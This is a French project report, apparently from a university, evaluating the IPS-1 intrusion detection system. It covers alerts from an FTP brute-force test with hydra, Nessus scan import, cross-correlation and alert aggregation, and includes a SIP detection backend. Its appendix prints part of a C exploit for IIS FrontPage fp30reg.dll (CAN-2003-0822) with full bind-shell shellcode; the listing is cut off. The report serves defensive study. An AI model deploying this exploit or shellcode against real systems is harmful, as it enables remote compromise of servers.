est mentionnée l’adresse IP de la machine cible (192.168.0.5). Il est également nécessaire de préciser le
service d’authentification choisi (ftp) lors de l’attaque dans la case correspondante à l’option protocole.
3. Force Brute 25
Etape 2 :
Celle-ci consiste à définir le(s) nom(s) d’utilisateur(s) et le(s) mot(s) de passe. Pour cela deux fichiers
textes, login.txt et pwd.txt ont été mis en place, où sont définis respectivement une liste de noms
d’utilisateurs et une liste de mots de passe.
3. Force Brute 26
Etape 3 :
Démarrage l’attaque force brute en cliquant sur start sous l’onglet start.
Résultat
L’attaque bruit de force a bien fonctionné car le logiciel hydra a fournit la paire : mot de passe et login
valide permettant d’accéder à la machine cible.
Comportement de la sonde
Face à cette attaque la sonde déclenche plusieurs alertes.
3. Force Brute 27
Parmi toutes ces alertes seules deux permettent d’indiquer qu’il y a force brute. En effet les alertes
authentication badfreqip :freqip alert et authentication badfrequser :frequser alert indiquent qu’il y a
eu tentative de force brute car elles sont émises suite à plusieurs tentatives de connexions échouées.
principe
Dans les chapitres précedents, les différentes attaques effectuées sur le serveur IIS affirme que la sonde
détecte une tentative d’attaque lorsqu’il s’agit des attaques Buffer Overflow et Directory Traversal par
ftp. En effet bien que l’attaque ait échoué ou réussi la sonde émet les mêmes alertes dans les deux cas.
Pour tester ce phénomène dans le cas d’une attaque par authentification force brute, un test est mis
en place où il s’agit d’effectuer une tentative d’attaque force brute qui se résumera par un échec.
Mise en oeuvre
Pour réaliser cette attaque, deux fichiers seront utilisés comme lors du test précédent (login.txt et
pwd.txt). La particularité de ces fichiers est que le fichier login.txt ne comporte pas de nom d’utilisa-
teur valide. Ainsi l’outil hydra ne trouvera aucune association entre les noms d’utilisateurs du fichier
login.txt et les mots de passe du fichier pwd.txt.
Résultat
D’après le résultat généré par notre logiciel hydra aucune correspondance n’a été décelée entre les
login et les mots de passe des fichiers login.txt et pwd.txt. Ainsi l’attaque force brute a échoué.
Comportement de la sonde
En se réferant aux résultats des alertes fournies par l’IPS-1 Management Dashboard, la sonde émet les
mêmes alertes que précédemment :
– authentication badfreqip :freqip alert
– authentication badfrequser :frequser alert
3. Force Brute 31
3.2 Synthèse
Suite aux tests effectués, nous confirmons que dans certains cas (force brute), la sonde émet des alertes
dès qu’il y a tentative d’attaques, quelque que soit le résultat obtenu. Pour améliorer la fiabilité
de l’IPS-1 par rapport à ce type d’attaques, on pourrait par exemple contrôler qu’à la suite des
alertes authentification badfreqip :freqip alert et authentification badfrequser :frequser alert, s’il y a
une connexion vers une machine du réseau il s’agit probablement d’une attaque Force Brute. Une autre
manière est de fixer les valeurs seuils élevées, ainsi après l’émission d’alertes il s’agit probablement
d’une attaque Force Brute.
4
L’IPS-1 et la détection de vulnérabilités
La vulnérabilité représente une faille de sécurité du système et résulte d’une erreur de programmation
ou d’une faiblesse de conception dans le système. Comme montré lors des tests dans les chapitres
précédents, des failles existent dans Internet Information Server (IIS) de Microsoft. Ces failles sont
souvent exploitées par les hackers afin d’étendre leurs privilèges sur la machine cible et d’accéder aux
ressources qui devraient être normalement inaccessibles.
Suite à cette situation inquiétante, certains outils appelés scanners de vulnérabilité ont été déve-
loppés. Ces derniers permettent aux administrateurs de soumettre leur réseau à des tests d’intrusion
afin de constater si certaines applications possèdent des failles de sécurité. Parmi ces outils, le plus
connu et le plus utilisé est Nessus. Il fournit un rapport exhaustif des vulnérabilités dans une appli-
cation, un système d’exploitation ou un réseau et des informations sur des mesures à prendre pour
corriger les problèmes découverts.
Actuellement certains IDS, par exemple l’IPS-1 utilisé au cours de ce projet, ont la capacité d’intégrer
un rapport de scan dans leur système dans le but d’effectuer une cross-corrélation1 avec les alertes
(expliqué en détail dans une section ultérieure). Cette faculté permet d’informer les administrateurs
réseaux des risques qu’encourent leur réseau et de les aider à prendre les précautions nécessaires.
Au cours de ce chapitre, il s’agira dans un premier temps de se familiariser avec Nessus puis de montrer
l’utilité du rapport de scan produit par Nessus sur l’IPS-1.
Nessus est l’un des scanners de vulnérabilités le plus populaire et le plus utilisé pour auditer un réseau
et déterminer les failles potentiels sur celui-ci. Cet outil est disponible sous licence GPL jusqu’à la
version 2. Tenable Network Security, l’éditeur de ce logiciel de sécurité, abandonne la licence GPL et
distribue la version 3 sous licence propriétaire. Nessus 3 peut être trouvé sous 2 formes :
– Une base payante qui inclut un support et une évolution des plugins rapide maintenue par la société
Tenable Network Security.
– Une base non payante qui inclut une évolution des plugins avec un délai d’une semaine par rapport
à la version payante.
Nessus fonctionne sur le principe de client serveur dont chacun possède un rôle bien précis.
1
Recherche de relations entre les scan Nessus effectués et les alertes
4. L’IPS-1 et la détection de vulnérabilités 33
– Le serveur nessusd exécute des requêtes du client en effectuant des attaques sur une cible afin de
générer le rapport de vulnérabilité. Ce daemon tourne avec des privilèges root.
– Une application cliente nessus pilote le serveur afin que ce dernier effectue des attaques ciblées sur
un hôte précis, puis recupère les données du serveur et affiche les résultats. L’interface graphique
tourne sous l’identité d’un utilisateur non privillégié.
Un exemple d’utilisation de Nessus est fournie dans annexe B.
A la suite d’un scan sur une machine cible, Nessus génère un rapport étendu contenant diverses
informations donnant une description de la faille, la gravité de la vulnérabilité ainsi qu’une solution
permettant par conséquent de faciliter sa gestion et/ou son élimination. Ce rapport peut être exporté
depuis le client sous divers formats XML, HTML, Latex, NBE. Un exemple de rapport de scan est
fourni en annexe B.
IPS-1 offre les fonctionnalités nécessaires pour importer un rapport de scan Nessus. En effet celui-ci
est importé via l’IPS-1 Management Dashboard en format XML uniquement. Notons également que
ce rapport doit impérativement être le résultat fourni par Nessus version 2. En effet le fichier XML
fourni par Nessus version 3 ne peut pas être uploadé par la sonde.
La figure ci-dessus montre bien que seule la version 2 de Nessus est supportée par l’IPS-1. En effectuant
une comparaison entre les fichiers xml fournis par Nessus version 2 et Nessus version 3, nous décelons
de nombreuses différences dont :
En annexe B sont donnés des exemples de fichiers xml fourni par les différentes versions de nessus.
Le parseur de l’IPS-1 a été écrit pour lire et analyser les fichiers xml fourni par Nessus 2. Les différences
constatées précédemment montrent que celui-ci ne sera pas capable de lire un fichier xml fourni par
Nessus version 3. Un test a montré que l’importation d’un fichier de Nessus 3 indique un message
d’erreur. Ceci pourrai être problème dans un avenir proche (réécriture du parseur), mais la société
Tenable Network Security a décidé de maintenir l’évolution de Nessus 2 en parallèle à la version 3 [11].
Pour importer un fichier xml fourni par Nessus 2 sur l’IPS-1 nous effectuons les étapes suivantes :
L’IPS-1 possède une fonctionnalité importante, celle de détecter les vulnérabilités au sein du réseau.
Cet atout permet aux entreprises d’identifier les vulnérabilités potentielles de leur réseau afin de le
protéger davantage.
Une fois le rapport de scan importé via l’IPS-1 Management Dashboard, il est possible de visualiser
toutes les vulnérabilités lié à notre réseau. Ceci est possible en cliquant sur New vulnerability
Browser depuis l’onglet File de l’IPS-1 Management Dashboard.
Fenêtre de vulnérabilités
Avant l’importation du rapport de scan de Nessus, il est conseillé d’activer et de configurer Dynamic
Shielding (Management > Policies Policy Manager > Dynamic Shield Configuration).
Cette action effectue une comparaison des signatures des alertes définies dans les packages et backends
avec celles des vulnérabilités présentes dans le rapport de scan. A la suite de cela un matching est
effectué entre les vulnérabilités détectées et les alertes donnant la fênetre de vulnérabilité ci-dessous.
4. L’IPS-1 et la détection de vulnérabilités 36
L’association des deux outils de sécurité Nessus et IPS-1, permet d’effectuer une analyse minucieuse
des attaques en vue de réduire le taux de faux positif et de permettre à l’administrateur de prendre
connaissances des failles du réseau. De plus la combinaison de ces deux outils permet d’effectuer une
cross-corrélation entre les alertes et les vulnérabilités. Une cross-corrélation est la recherche de relations
4. L’IPS-1 et la détection de vulnérabilités 37
entre les scans de vulnérabilités (Nessus) effectués et des alertes émises par l’IPS-1 Sensor. Dès qu’une
alerte est émise sur l’IPS-1 Management Dashboard, le phénomème de cross-corrélation est appliqué
générant une nouvelle alerte appelée CORRELATOR :va compromise risk. Celle-ci possède un degré
de priorité (low, Med, High) permettant à l’administrateur de prendre connaissance de la gravité de
l’attaque, des dangers et des risques de l’attaque sur le réseau.
Lors des tests effectués dans les chapitres précédents, la sonde émet une alerte dès qu’il y a tentative
d’attaque qui peut aboutir ou non. Ceci risque d’engendrer un grand nombre de faux positifs. Suite
à une cross-corrélation, l’administrateur réseau peut uniquement s’intéresser aux alertes CORRELA-
TOR :va compromise risk et considérer les autres alertes émises comme étant du bruit. Les attaques
liées à cette corrélation ont d’énormes chances d’aboutir étant donné la vulnérabilité du système
(système vulnérable = proie pour les hackers).
Par exemple en effectuant une attaque buffer overflow sur le serveur IIS de notre réseau cinq alertes
sont émises et une cross-corrélation est également effectuée donnant naissance à une nouvelle alerte
CORRELATOR :va compromise risk.
En cliquant sur cette nouvelle alerte nous décelons que parmi les cinq alertes une seule est matchée
avec une vulnérabiltié. Ce qui laisse croire que les autres alertes sont des faux positifs.
4. L’IPS-1 et la détection de vulnérabilités 38
En cliquant sur le bouton vulnérability Info cela fourni la fenêtre de vulnérabilité ci-dessous donnant
une description de la vulnérablité liée à cette attaque et les solutions face à ce risque.
4. L’IPS-1 et la détection de vulnérabilités 39
En plus de la capacité d’effectuer une cross-corrélation, la sonde possède également la faculté d’effectuer
une agrégation des alertes émises en vue de réduire le volume d’alertes.
Une agrégation d’alertes permet de réduire le volume d’informations à traiter, d’améliorer la qualité
du diagnostic proposé et de dégager une meilleure vision globale de l’état de sécurité du système en cas
d’intrusion. L’IPS-1 offre la possiblité à l’utilisateur d’effectuer de l’agrégation. Face à un grand nombre
d’alertes, il est possible de dégager des caractéristiques majoritaires communes à un sous-ensemble de
ces alertes pour n’en fournir qu’une nouvelle alerte.
L’IPS-1 offre deux méthodes pour effectuer une agrégation :
– Cluster correlators : c’est une forme d’agrégation dynamique. Elle permet de regrouper plusieurs
alertes en fonction des paramètres suivants : les adresses source ou destination, les ports source ou
destination, l’alerte source, le degré de gravité de l’attaque, l’OS source, l’OS destination...
– Boolean correlators : est une forme d’agrégation plus stricte où l’utilisateur doit préciser clairement la
valeur de chaque paramètres (adresses source/destination, ports source/destination, nom de package,
nom de backend)
Parmi les attaques effectuées dans les chapitres précédentes, ces deux techniques d’agrégation vont être
appliquées suite à une attaque buffer overflow. En effet parmi toutes les attaques effectuées, celle-ci
est plus intéressante car provoquant au moins 4 types d’alertes contrairement aux autres attaques qui
n’en provoque qu’une seule ou deux.
4. L’IPS-1 et la détection de vulnérabilités 40
En utilisant une de ces techniques, une nouvelle alerte est créée dans le but de remplacer une suite
d’alertes émises sur l’IPS-1 Management Dashboard. Pour cela il suffit de cliquer sur l’onglet Mana-
gement depuis la fenêtre de l’IPS-1 Management Dashboard, et de choisir correlators. La fenêtre
correlators ci-dessous s’affiche donnant la possibilité de créer une agrégation en cliquant sur le bouton
New.
Dès le click sur le bouton New, une liste s’affiche où il faut choisir cluster correlator. Ainsi une
nouvelle fenêtre apparait où sont définis les paramètres suivants :
– Name : le nom de la nouvelle alerte,
– Threshold : le nombre d’alertes maximales reçu dans la fenêtre de temps avant que l’agrégation
ne s’effectue.
– Window : la période de temps, en seconde, durant laquelle les alertes seront matchées.
Sur cette même fenêtre il est possible de préciser la gravité de l’alerte en choisisant High, Med, Low
et de choisir l’état du corrélateur soit démarrer ou de stop.
L’onglet cluster correlator permet de choisir les paramètres permettant de matcher les alertes.
4. L’IPS-1 et la détection de vulnérabilités 41
L’onglet output définie l’action à prendre après l’agrégation. Il existe deux possibilités :
– Envoyer le résultat de l’agrégation sur l’IPS-1 Management Dashboard. Dans notre cas cette option
est choisie.
– Diriger le résultat de l’agrégation vers un autre programme.
Dans ce sous menu, il s’agit d’effectuer une agrégation en utilisant la méthode boolean correlators.
Après avoir cliqué sur le bouton New du schéma ci-dessus permettant de mettre en place une agré-
gation, une liste apparait où on choisit Boolean correlator. Ainsi une nouvelle fenêtre s’affiche,
identique au cas précédent où sont définis les paramètre de la nouvelle alerte à savoir : Name, Thre-
shold, Window ainsi que le degré gravité de l’alerte (High, Med ou Low) et l’état du corrélateur
(run ou stop).
L’onglet boolean correlator permet de définir les critères de “matching” des alertes montrant la
différence entre les deux formes d’agrégation. En effet, nous constatons que la méthode boolean cor-
relator est statique contrairement à la méthode cluster correlator qui est dynamique et plus large.
En effectuant une agrégation par boolean cluster, l’utilisateur doit construire lui-même l’expression
booléenne renfermant les critères de matching. Sur le schéma ci-dessous, l’expression booléenne est
formée d’une adresse IP de destination bien précise, du port de destination ainsi d’un package bien
précis.
Fig. 4.14: Définition d’une expression booléenne pour engendrer une agrégation
4. L’IPS-1 et la détection de vulnérabilités 43
L’onglet output offre les mêmes possibilités que lors d’une agrégation par cluster correlator à savoir :
– Envoyer le résultat de l’agrégation sur l’IPS-1 Management Dashboard. Dans notre cas cette option
est choisie.
– Diriger le résultat de l’agrégation vers un autre programme.
En effectuant une attaque buffer overflow, nous obtenons le résultat suivant :
Suite à l’attaque Buffer Overflow, les quatres alertes émises donnent naissance à une nouvelle alerte
nommée CORRELATOR :Overflow_BooleanCorrelator. En double cliquant sur cette nouvelle alerte
nous constatons bien les alertes utilisées pour effectuer une agrégation afin d’engendrer la nouvelle
alerte.
4. L’IPS-1 et la détection de vulnérabilités 44
L’IPS-1 est un système de détection d’intrusion réseau capable d’effectuer une analyse des flux en
transit sur le réseau et une détection des intrusions en temps réel. En effet, dès que l’IPS-1 Sensor
détecte une attaque, une alerte est aussitôt émise vers L’IPS-1 Management Dashboard.
L’IPS-1 est capable d’effectuer une agrégation en utilisant deux méthodes différentes : une dynamique
(trés large) et une autre statique (plus précise). De plus, la possibilité d’importer un rapport de scan
fourni par le scanner de vulnérabilité Nessus, donne la possibilité d’effectuer une cross-corrélation.
Ces deux facultés augmentent la performance d’un système de détection d’intrusion car réduit de
beaucoup le taux de faux positifs sur la console d’alertes. Aussi, la combinaison de l’IDS et Nessus aide
l’administrateur réseau à connaı̂tre les vulnérabilités et à mettre en place une stratégie de prévention
efficace.
Malgré ces éléments positifs, certains points restent à améliorer pour augmenter la performance et la
fiabilité de l’IPS-1. La gamme de filtres dont dispose l’IPS-1 n’est pas complète. En effet, selon l’alerte
émise il est impossible de déterminer si l’attaque a abouti réellement ou s’il s’agissait simplement d’une
tentative qui a échoué.
L’une des particularités de cet IDS, est l’utilisation quasi obligatoire d’un environnement de déve-
loppement (NDE) pour créer et tester de nouveaux filtres. Ceci a pour inconvénient de complexifier
le développement (maı̂trise d’un langage trés spécfique N-code, mise en place délicate de l’environ-
nement lui-même). Cependant, l’IPS-1 offre la possibilité de développer de nouveaux filtres dans un
environnement virtuel et évite ainsi d’avoir à perturber le réseau à sécuriser.
Remerciements
Je tiens à remercier très chaleureusement les personnes suivantes pour leur soutien, leur aide et leurs
conseils pour l’élaboration de ce projet :
M. Stefano Ventura
M. Sylvain Maret
M. Gregory Chanez
Mme Lalaina Kuhn
M. Joël Winteregg
M. Alexandre Delez
Et mon mari M. Marc Garnier
Bibliographie
Fichier session.values
desc Alert on Detection SIP Session Setup
text SIP est un protocole permettant d’etablir une session
text entre deux utilisateurs sip.
text Lorsqu’un client d’agent d’utilisateur (UAC) desire
text etablir une session sip, une formulation de demande
text INVITE se fait vers l’UAS. Des lors que l’UAS accepte
text l’invitation en formulant une requete ACK la
text session sip est etablie.
name ALERT_ON_DETECTION_SIP_SESSION_SETUP
mode scalar 1
Fichier session.desc
<HTML>
<BODY>
<H1> Session SIP </H1>
<P>
Ce backend controle tous les paquets SIP
circulant sur le réseau. Il permettra d’emettre
une alerte vers le Management Dashboard en cas de
détection d’un établissement ou d’une terminaison
de session sip.
</P>
<P>
les variables de configuation définies sont :
A. Programmes et code 49
</P>
<UL><LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_SETUP</B> : lorsque
cette variable est active donc égal à 1, tout paquet
permettant un établissement de session sip(contenant)
une requ^
ete INVITE engendrera une alerte.
</LI>
<LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_TERMINATING</B> :
lorsque cette variable est active donc égale à 1
et qu’il y a une fin session sip par l’envoie
d’une requete BYE une alerte est émise
vers le Management Dashboard.
</LI>
</UL>
</BODY>
</HTML>
Fichier session.acf
acfhdr
{
version = 1 ;
fixed = TRUE ;
}
alert_source session_src
{
shortname = SessionSIP ;
longname = "SIP Session Backend" ;
groups = sip :_group all ;
}
alert detection_session_setup_alert
{
shortname = sip_session : detection_session_setup_alert ;
longname = "Detection d’une Session SIP" ;
severity = SEV_INFO ;
format = "$1->$2 $3 : Detection SIP Session" ;
groups = sip :_group all sev_warning_group ;
}
alert detection_session_terminate_alert
{
shortname = sip_session : detection_session_terminate_alert ;
longname = "Detection d’une terminaison de Session SIP" ;
severity = SEV_INFO ;
format = "$1->$2 $3 : Detection SIP Session Terminating" ;
A. Programmes et code 50
Fichier session.cfg
title=session
version=4
disposition=disable
gui=list
num_columns=8
backend_id=NID-099-005
column_1_attr=IP_ADDR_SRC
column_1_type=p_src_ip
column_1_label=Source Address
column_2_attr=IP_ADDR_DST
column_2_type=p_dst_ip
column_2_label=Destination Address
A. Programmes et code 51
column_3_attr=IP_PROTO_NAME
column_3_type=p_string
column_3_label=IP Protocol
column_4_attr=COMMAND
column_4_type=p_string
column_4_label=Command
column_5_attr=EMAIL_SENDER
column_5_type=p_string
column_5_label=Sender
column_6_attr=EMAIL_RECIPIENT
column_6_type=p_string
column_6_label=Recepient
column_7_attr=BANNER
column_7_type=p_string
column_7_label=Call-ID
column_8_attr=ADDL_INFO
column_8_type=p_string
column_8_label=Additional Information
Fichier session.nfr
BUF_KEY_SCHEMA = packing_schema("str", #protocol
"ip", #source ip
"int", #source port
"ip", #Destination ip
"int", #Destination port
"str", #Call-ID
"str") ; #method
_ :sip_register_request(process_request) ;
func process_request {
unpack(_ :KEY_SCHEMA,_ :KEY,$proto,$src,$sport,$dst,$dport) ;
if(($from = elem(_ :HEADERS[_ :KEY]["FROM"],0))== NULL)
{
$from="unknown or malformed" ;
}
A. Programmes et code 52
if (BUFFERED[$buf_key])
{
return(0) ;
}
BUFFERED[$buf_key] = 1 ;
if (LAST_BUFFERED[$buf_key])
{
return(0) ;
}
alert(session_src, detec-
tion_session_setup_alert,
$src, $dst, $proto,
"--AlertDetails","ALERT_ID","33-14",
"ALERT_CONFIDENCE",90,
"ALERT_SEVERITY","unknown",
"ALERT_IMPACT","unknown",
"ALERT_EVENT_TYPE","unknown",
"ALERT_ASSESSMENT","unknown",
"CONTEXT",attack :context(detection_session_setup_alert),
THOD",_ :METHOD[_ :KEY],
"URI",_ :URI[_ :KEY],
"IP_PROTO_NUM",_ :IP_PROTO[$proto],
"IP_ADDR_SRC",$src,
"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,
"PORT_DST",$dport) ;
}
}
}
}else
{
#On teste si la requete contient une methode BYE
if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "BYE")
{
#On teste si la variable
ALERT_ON_DETECTION_SIP_SESSION_TERMINATING est active
if(ALERT_ON_DETECTION_SIP_SESSION_TERMINATING)
{
# On teste si le call-ID de la requete ACK
n’est pas nul
if (($cid = substr(elem(_ :HEADERS[_ :KEY]["CALL-
ID"],0),
0, 8191)) != NULL)
{
if($invite_seen[$cid]==$cid)
{
alert(session_src,detection_session_terminate_alert,
$src, $dst, $proto,
"--AlertDetails",
"ALERT_ID","33-15",
"ALERT_CONFIDENCE",90,
"ALERT_SEVERITY","unknown",
"ALERT_IMPACT","unknown",
"ALERT_EVENT_TYPE","unknown",
"ALERT_ASSESSMENT","unknown",
"CONTEXT",attack :context(detection_session_terminate_alert),
"METHOD",_ :METHOD[_ :KEY],
"URI",_ :URI[_ :KEY],
A. Programmes et code 54
"IP_PROTO_NUM",_ :IP_PROTO[$proto],
"IP_ADDR_SRC",$src,
"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,
"PORT_DST",$dport) ;
$invite_seen[$cid] = NULL ;
}
}
}
}
}
Programme CAN-2003-0822.c
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <sys/wait.h>
4 #include <sys/types.h>
5 #include <netinet/in.h>
6 #include <sys/socket.h>
7 #include <errno.h>
8 #include <string.h>
9 #include <unistd.h>
10
11
12 #define PORT 80
13
14 struct sockaddr_in hrm;
15
16 unsigned char kyrgyz_bind_code[] = {
17 0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33
,
18 0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
19 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88
,
20 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88
,
21 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE
,
22 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88
,
23 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88
,
24 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88
,
A. Programmes et code 55
25 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88
,
26 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88
,
27 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88
,
28 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88
,
29 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88
,
30 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88
,
31 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89
,
32 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78
,
33 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77
,
34 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03
,
35 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05
,
36 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98
,
37 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC
,
38 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77
,
39 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03
,
40 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8
,
41 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C
,
42 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0
,
43 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03
,
44 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B
,
45 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03
,
46 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48
,
47 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
48 };
49
50 int conn(char ∗ip){
51
52 int sockfd;
53 hrm.sin_family = AF_INET;
54 hrm.sin_port = htons(PORT);
55 hrm.sin_addr.s_addr = inet_addr(ip);
56 bzero(&(hrm.sin_zero),8);
57 sockfd=socket(AF_INET,SOCK_STREAM,0);
58
59 if((connect(sockfd,(struct sockaddr∗)&hrm,sizeof(struct sockaddr)))<0) {
60 perror("Erreur connect");
61 exit(0);
62 }
63 return sockfd;
64 }
65
66 int main(int argc, char ∗argv[]){
67 int x;
68 char ∗ip=argv[1];
69 printf ("Attaque sur: %s \n", ip);
70 x = conn(ip);
71 unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
72 unsigned char packet[3000],data[1500];
A. Programmes et code 56
Utilisation de Nessus
Le deuxième onglet sert à configurer les plugins. En fonction de chacun des plugins, des options sont
disponibles. Il est possible ici en cochant la case correspondante, de spécifier les futures options qui
seront utilisées lors du scan d’un hôte ou d’un réseau.
B. Outils utilisés 59
Ici, nous spécifions les options générales du scan. Cet onglet permet d’ajuster la plage des ports que
l’on souhaite scanner. C’est aussi ici que nous positionnons l’option Safe check, qui, comme son nom
l’indique, permet de limiter les risques lors du scan.
B. Outils utilisés 60
Ensuite nous spécifions la portée des tests effectués. Ici nous prenons la classe C entière.
B. Outils utilisés 61
Le rapport généré par Nessus permet de sélectionner chaque machine du réseau détécté. Pour chaque
machine, il fait remonté les services à l’écoute sur le réseau. Pour chaque service il effectue un rapport
sur la sécurité mise en place. Il permet des conseils forts utiles, et, personnellemnent en tout cas,
fait prendre conscicence d’un réel manque de recherche en terme de sécurité lors du déploiement d’un
service quelconque.
C
Journal de travail
Diagramme préliminaire
C. Journal de travail 63